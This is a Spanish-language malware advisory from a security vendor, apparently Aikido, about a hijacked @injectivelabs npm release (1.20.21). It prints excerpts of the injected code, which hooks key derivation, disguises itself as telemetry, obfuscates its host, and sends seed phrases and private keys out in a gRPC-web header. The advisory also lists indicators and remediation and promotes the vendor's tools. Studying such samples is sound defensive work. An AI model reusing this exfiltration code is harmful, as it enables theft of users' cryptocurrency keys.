Una publicación malintencionada de @injectivelabs/sdk-ts, un paquete de npm que registra unas 50 000 descargas semanales, incluía código que grababa las frases mnemotécnicas y las claves privadas de los monederos a medida que se generaban y las enviaba a un punto final controlado por un atacante. La versión maliciosa, 1.20.21, estuvo disponible en npm durante menos de una hora el 8 de junio de 2026, antes de que el responsable del mantenimiento se diera cuenta y publicara una corrección definitiva. En ese lapso de tiempo, el atacante también volvió a publicar el mismo 1.20.21 número de versión en otros 17 paquetes del @injectivelabs ámbito, cada uno de ellos vinculado al SDK malicioso, de modo que los proyectos que dependieran de cualquiera de ellos acabarían incorporando el programa de robo de forma transitiva.
La carga útil es pequeña y se presenta como si fuera una herramienta de instrumentación habitual. No se ejecuta durante la instalación y no altera el funcionamiento del SDK. Espera a que la aplicación genere una clave durante su uso normal y, a continuación, copia el secreto de forma discreta.
Cómo funciona el programa malicioso
El código malicioso se encuentra en dos artefactos de compilación, dist/cjs/accounts-Cy0p4lLW.cjs y dist/esm/accounts-jQ1GSgaW.js. Al comparar la versión modificada con la versión limpia 1.20.23, se observa que los dos archivos son idénticos al nivel de byte, salvo por un bloque inyectado y dos «hooks» de una línea. El bloque está etiquetado como src/utils/key-derivation-telemetry.ts y se presenta en su propio comentario de documentación como métricas de uso anonimizadas para la optimización del SDK. No hay nada de eso que esté anonimizado.
Los dos ganchos quedan en el interior PrivateKey.fromMnemonic y PrivateKey.fromHex, los puntos de entrada estándar a los que recurre una aplicación para convertir una frase semilla o una clave hexadecimal sin procesar en un monedero utilizable. Cada «hook» se activa antes de que se ejecute la derivación real, por lo que el secreto se captura en cada llamada legítima:
static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
trackKeyDerivation("fm", words); // full mnemonic phrase
return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
static fromHex(privateKey) {
trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes"); // raw private key
...
}
Los marcadores «fm» y «fh» indican al operador qué tipo de clave secreta contiene cada registro —mnemónica o hexadecimal—, para que pueda reconstruir el monedero por su cuenta. La función `trackKeyDerivation` inserta un registro con marca de tiempo en una cola en memoria y programa un vaciado:
function trackKeyDerivation(method, value) {
_q.push(`${method}:${value}:${Date.now()}`);
_flush();
}
La exfiltración es el momento en el que el atacante se esfuerza por pasar desapercibido. El host de destino se almacena como una matriz de códigos de caracteres y se reconstruye en tiempo de ejecución, por lo que una búsqueda en texto plano del dominio en el paquete no arroja ningún resultado:
El dominio no encuentra nada:
const _d = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = «https://» + _d() + "/"; // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network
El host descodificado, testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, es un subdominio diseñado para parecerse a la propia infraestructura web gRPC de Injective, de modo que el tráfico de exfiltración se mezcla con las llamadas de red que ya realiza una aplicación real de Injective. Un temporizador con un retardo de 2 segundos agrupa los registros en cola, los une con |, codifica el blob en base64 y lo envía:
function _send(d) {
fetch(_ep, {
method: "POST",
headers: {
"Content-Type": "application/grpc-web+proto",
"X-Request-Id": d, // base64 blob of stolen key material
},
...
}).catch(() => {});
// node fallback: require("https").request(...) with the same headers
}
Los datos robados se transmiten en el encabezado de solicitud «X-Request-Id» en lugar de en el cuerpo, y la ruta del nodo envía un cuerpo de longitud cero junto con ellos, por lo que, en la red, la solicitud parece una llamada gRPC-web normal que transporta un ID de solicitud. Cada ruta de fallo es una captura silenciosa y vacía, por lo que una exfiltración bloqueada o fallida nunca muestra ningún error a la víctima. La elección de «application/grpc-web+proto» como tipo de contenido completa el camuflaje.
Dado que el desencadenante es la derivación de la clave en tiempo de ejecución y no un script del ciclo de vida, los escáneres y entornos aislados que solo supervisan la fase posterior a la instalación ven un paquete limpio. El bloque de scripts del manifiesto no contiene ningún gancho de instalación.
Ampliación en el ámbito de @injectivelabs
Solo @injectivelabs/sdk-ts@1.20.21 contiene el código malicioso. Los otros 17 paquetes que el atacante volvió a publicar con la versión 1.20.21 no sufrieron modificaciones en su propio código fuente. Cada uno de ellos se volvió a publicar con una dependencia fija en @injectivelabs/sdk-ts@1.20.21, la versión «envenenada». Un proyecto que instaló @injectivelabs/wallet-core@1.20.21, por ejemplo, resolvería el SDK malicioso de forma transitiva y ejecutaría el programa de robo de datos sin mencionar en ningún momento «sdk-ts» en su propio manifiesto. Por eso, en este caso, no basta con auditar únicamente las dependencias directas. Los nombres de los paquetes relacionados con el monedero que aparecen en el mapa de ámbito se corresponden directamente con los flujos de trabajo, las frases de semilla y las claves privadas exactas que la carga útil fue diseñada para capturar.
Impacto y contención
El código malicioso se introdujo mediante commits desde una cuenta de GitHub con un historial consolidado en el repositorio, lo que apunta a una apropiación de la cuenta más que a un ataque «drive-by». El código malicioso 1.20.21 Se publicó a las 22:59 GMT+2 del 8 de junio de 2026; el responsable del mantenimiento revirtió el cambio a las 23:18 y se publicó una versión limpia a las 23:48. Según las propias estadísticas de npm, la versión maliciosa se descargó 310 veces antes de que fuera retirada, una cifra reducida si se compara con las 50 000 descargas semanales del proyecto y sus 87 paquetes dependientes. La rápida respuesta del responsable del proyecto fue lo que evitó que la situación fuera mucho peor.
La contención no es total. En el momento de la publicación del informe original, la versión maliciosa había sido marcada como obsoleta en npm con una advertencia, pero no se había eliminado, por lo que sigue estando disponible para su descarga, y los archivos de la versión comprometida seguían estando presentes en la página de versiones del proyecto en GitHub. Cualquier clave mnemónica o privada que haya pasado por estos paquetes debe considerarse expuesta. Transfiere los fondos y, a continuación, renueva las claves y las frases de semilla.
Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Indicadores de compromiso
Indicadores de red
Punto final de exfiltración: https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/
Archivos maliciosos
dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0dist/esm/accounts-jQ1GSgaW.js, SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9
Paquetes afectados
@injectivelabs/sdk-ts@1.20.21 (contiene el programa de robo de datos)@injectivelabs/utils@1.20.21@injectivelabs/networks@1.20.21@injectivelabs/ts-types@1.20.21@injectivelabs/exceptions@1.20.21@injectivelabs/wallet-base@1.20.21@injectivelabs/wallet-core@1.20.21@injectivelabs/wallet-cosmos@1.20.21@injectivelabs/wallet-private-key@1.20.21@injectivelabs/wallet-evm@1.20.21@injectivelabs/wallet-trezor@1.20.21@injectivelabs/wallet-cosmostation@1.20.21@injectivelabs/wallet-ledger@1.20.21@injectivelabs/wallet-wallet-connect@1.20.21@injectivelabs/wallet-magic@1.20.21@injectivelabs/wallet-strategy@1.20.21@injectivelabs/wallet-turnkey@1.20.21@injectivelabs/wallet-cosmos-strategy@1.20.21
Remediación
- Actualiza cualquier
@injectivelabsPaquete fijado o resoluble a la versión 1.20.21 en la versión limpia 1.20.23.
Última actualización: 9 de julio de 2026

